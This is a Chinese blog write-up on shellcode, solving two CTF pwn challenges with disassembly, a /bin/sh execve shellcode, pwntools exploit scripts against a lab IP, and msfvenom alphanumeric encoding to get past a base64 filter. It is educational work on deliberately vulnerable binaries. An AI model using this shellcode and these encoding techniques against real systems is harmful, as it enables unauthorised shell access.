Fork me on GitHub

Shellcode的编写和利用

在渗透测试和漏洞利用中,Shellcode是一个十分重要的部分,在二进制的安全研究中,Shellcode也充当着十分重要的角色,本文会记录我学习Shellcode的编写和利用原理。

在程序中嵌入Shellcode并执行

首先拿一道十分简单的PWN题来演示程序是如何执行Shellcode

文件下载

首先,这是一个32位的程序,我把它放到了32位的kali虚拟机中

1
2
3
4
5
6
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial

程序开启了NXCANARY,实际上并没有检查此程序开启的安全措施的必要,因为分析IDA中的伪C代码可知,此程序会将用户输入的数据当作汇编代码进行执行,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // ST2C_4
void *v4; // ST30_4
int v5; // ST38_4
char s; // [esp+3Ch] [ebp-84h]
unsigned int v8; // [esp+BCh] [ebp-4h]

v8 = __readgsdword(0x14u);
v3 = open("/home/challenge/flag", 0);
setbuf(_bss_start, 0);
setbuf(stdout, 0);
alarm(0x1Eu);
v4 = mmap(0, 0x80u, 7, 34, -1, 0);
memset(v4, 195, 0x7Fu);
memset(&s, 0, 0x7Fu);
puts("OpenCTF tyro shellcode challenge.\n");
puts("Write me some shellcode that reads from the file_descriptor");
puts("I supply and writes it to the buffer that I supply");
printf("%d ... 0x%08x\n", v3, &s);
read(0, v4, 0x20u);
v5 = ((int (*)(void))v4)();
puts(&s);
return v5;
}

通过分析汇编代码可知程序会使用call eax的方式来运行用户的输入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:08048721                 mov     dword ptr [esp], offset format ; "%d ... 0x%08x\n"
.text:08048728 call _printf
.text:0804872D mov dword ptr [esp+8], 20h ; nbytes
.text:08048735 mov eax, [esp+30h]
.text:08048739 mov [esp+4], eax ; buf
.text:0804873D mov dword ptr [esp], 0 ; fd
.text:08048744 call _read
.text:08048749 mov eax, [esp+30h]
.text:0804874D mov [esp+34h], eax
.text:08048751 mov eax, [esp+34h]
.text:08048755 call eax <================== Here
.text:08048757 mov [esp+38h], eax
.text:0804875B lea eax, [esp+0C0h+s]
.text:0804875F mov [esp], eax ; s

因此我们可以吧要执行的汇编代码通过pwntools来输入到此程序中达到执行的目的,这里我们要输入的一些能达到某种执行效果的汇编代码即为shellcode,这里有一个网站,上面有很多经典又实用的shellcodeshell-storm.org,网站的维护者同时是ROPgadget的作者,话不多说,膜就完事了。

Jonathan Salwan

本程序为用户的输入开启了read(0, v4, 0x20u);即32个字节的空间,因此我们可以在这个网站上找到一个长度满足要求的shellcode以填充我们的输入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = \

"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd"
"\x80";

main ()
{

// When contains null bytes, printf will show a wrong shellcode length.

printf("Shellcode Length: %d\n", strlen(shellcode));

// Pollutes all registers ensuring that the shellcode runs in any circumstance.

__asm__ ("movl $0xffffffff, %eax\n\t"
"movl %eax, %ebx\n\t"
"movl %eax, %ecx\n\t"
"movl %eax, %edx\n\t"
"movl %eax, %esi\n\t"
"movl %eax, %edi\n\t"
"movl %eax, %ebp\n\t"
// Calling the shellcode
"call shellcode");
}

shellcode

1
\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80

我们可以直接使用pwntools攻击一下此程序,脚本如下:

1
2
3
4
5
6
from pwn import *
io=remote('192.168.229.140',10001)
shellcode='\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
print io.recv()
io.send(shellcode)
io.interactive()

运行程序即可执行/bin/sh进行远程交互,为了搞清楚这一段shellcode做了什么,我们需要将这一段shell code转换为汇编代码,将shellcode转换为汇编的方式有很多种,我这里使用的方法是用Ollydbg转换,首先,随便用OD打开一个二进制文件,随后复制shellcode的内容,再随意选中OD中汇编框中长度足够的区域,点击右键,选择二进制粘贴,把shellcode粘贴到文件中:

此时OD会自动把shellcode对应的数据转化为汇编代码:

1
2
3
4
5
6
7
8
31C9            xor ecx,ecx
F7E1 mul ecx
B0 0B mov al,0xB
51 push ecx
68 2F2F7368 push 0x68732F2F
68 2F62696E push 0x6E69622F
89E3 mov ebx,esp
CD 80 int 0x80

可见,这一段shell code调用了系统软中断,相关的详细信息在我之前的博文中有介绍:通过int 80h执行系统命令,这段shellcode就是设置好了调用系统函数的参数并调用的。

Shellcode变形

当然百分之99的情况下程序并不会像上面那个例子直接执行用户所给的代码,在BSides San Francisco CTF 2017b_64_b_tuff

文件下载

用IDA查看主要的逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *s; // ST2C_4
void *v5; // [esp+0h] [ebp-18h]
void *buf; // [esp+4h] [ebp-14h]
ssize_t v7; // [esp+8h] [ebp-10h]

alarm(0xAu);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
v5 = mmap((void *)0x41410000, 0x1558u, 7, 34, 0, 0);
printf("Address of buffer start: %p\n", v5);
buf = malloc(0x1000u);
v7 = read(0, buf, 0x1000u);
if ( v7 < 0 )
{
puts("Error reading!");
exit(1);
}
printf("Read %zd bytes!\n", v7);
s = (char *)base64_encode((int)buf, v7, v5);
puts(s);
((void (*)(void))v5)();
return 0;
}

跟上一个例子类似,程序会将用户输入的代码执行,不过区别在于程序会先把用户输入的数据进行base64解码,那么问题来了,进行base64加密的时候只支持英文字母的大小写+/,但是在shellcode中有很多不可打印的字符,因此我们需要对shellcode进行一定的处理使得shellcodebase64解码后能正常的执行。

是时候祭出大杀器msfvenom了,msfvenom是kali下的一款神器,有很多好玩有趣的功能,感兴趣可以自己谷歌一下玩法,但是msfvenom只支持stdin的方式传参,因此我们用python加上管道操作向msfvenom传参,我们选用x86/alpha_mixed这个过滤器来生成只有大小写字母的shellcode,因为程序中是使用call eax调用shellcode的,因此我们需要将BufferRegister设置为EAX

1
2
3
4
5
6
7
.text:08048891                 call    _puts
.text:08048896 add esp, 10h
.text:08048899 mov eax, [ebp+var_18]
.text:0804889C call eax <=========== call shellcode
.text:0804889E mov eax, 0
.text:080488A3 mov ecx, [ebp+var_4]
.text:080488A6 leave

生成payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
⚡ root@kali  python -c 'import sys; sys.stdout.write("\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80")' | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux BufferRegister=EAX -o payload
Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 96 (iteration=0)
x86/alpha_mixed chosen with final size 96
Payload size: 96 bytes
Saved as: payload
⚡ root@kali l
总用量 24K
drwxr-xr-x 2 root root 4.0K 10月 30 06:45 .
drwxr-xr-x 8 root root 4.0K 10月 18 03:25 ..
-rwxr-xr-x 1 root root 7.7K 1月 30 2018 b-64-b-tuff
-rw-r--r-- 1 root root 502 2月 1 2018 exp.py
-rw-r--r-- 1 root root 96 10月 30 06:45 payload
⚡ root@kali cat payload
PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI01o9ygYqH0fk61CXVOtoD3rHaxto52pibNMYYsjmK0AA#

得到改造过的shellcode之后我们就可以通过脚本向程序传递shellcode了:

1
2
3
4
5
6
7
8
from pwn import *
from base64 import *
io=remote('192.168.229.140',10001)
context(os='linux', arch='i386', log_level='debug')
shellcode=b64decode('PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI01o9ygYqH0fk61CXVOtoD3rHaxto52pibNMYYsjmK0AA')
print io.recv()
io.sendline(shellcode)
io.interactive()

运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
⚡ root@kali  python 1.py
[+] Opening connection to 192.168.229.140 on port 10001: Done
[DEBUG] Received 0x24 bytes:
'Address of buffer start: 0x41410000\n'
Address of buffer start: 0x41410000

[DEBUG] Sent 0x49 bytes:
00000000 3d 82 08 20 82 08 20 82 08 20 82 08 20 8e d0 66 │=·· │·· ·│· ··│ ··f│
00000010 30 17 3f 40 34 02 40 00 43 60 01 d8 10 74 04 10 │0·?@│4·@·│C`··│·t··│
00000020 01 5c ff 00 06 e2 48 d3 5a 3d ca 06 2a 1f 47 e4 │·\··│··H·│Z=··│*·G·│
00000030 eb 50 97 54 eb 68 0f 7a c7 6b 1b 68 e7 6a 62 6c │·P·T│·h·z│·k·h│·jbl│
00000040 d3 18 62 c8 e6 2b 40 00 0a │··b·│·+@·│·│
00000049
[*] Switching to interactive mode
[DEBUG] Received 0x5e bytes:
00000000 3d 82 5e 48 20 82 5e 48 20 82 5e 48 20 82 5e 48 │=·^H│ ·^H│ ·^H│ ·^H│
00000010 20 8e d0 66 30 5e 57 3f 40 34 5e 42 40 5e 40 43 │ ··f│0^W?│@4^B│@^@C│
00000020 60 5e 41 d8 5e 50 74 5e 44 5e 50 5e 41 5c ff 5e │`^A·│^Pt^│D^P^│A\·^│
00000030 40 5e 46 e2 48 d3 5a 3d ca 5e 46 2a 5e 5f 47 e4 │@^F·│H·Z=│·^F*│^_G·│
00000040 eb 50 97 54 eb 68 5e 4f 7a c7 6b 5e 5b 68 e7 6a │·P·T│·h^O│z·k^│[h·j│
00000050 62 6c d3 5e 58 62 c8 e6 2b 40 5e 40 5e 4a │bl·^│Xb··│+@^@│^J│
0000005e
=\x82^H \x82^H \x82^H \x82^H \x8e�f0^W?@4^B@^@C`^A�^Pt^D^P^A\\xff^@^F�H�Z=�^F*^_G��P\x97T�h^Oz�k^[h�j[DEBUG] Received 0x74 bytes:
'Read 73 bytes!\n'
'PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI01o9ygYqH0fk61CXVOtoD3rHaxto52pibNMYYsjmK0AACg==\n'
Read 73 bytes!
PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI01o9ygYqH0fk61CXVOtoD3rHaxto52pibNMYYsjmK0AACg==
$ ls
[DEBUG] Sent 0x3 bytes:
'ls\n'
[DEBUG] Received 0x4 bytes:
'ls^J'
ls^J[DEBUG] Received 0x14 bytes:
'b-64-b-tuff exp.py\n'
b-64-b-tuff exp.py
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to 192.168.229.140 port 10001
您的支持是我最大的动力🍉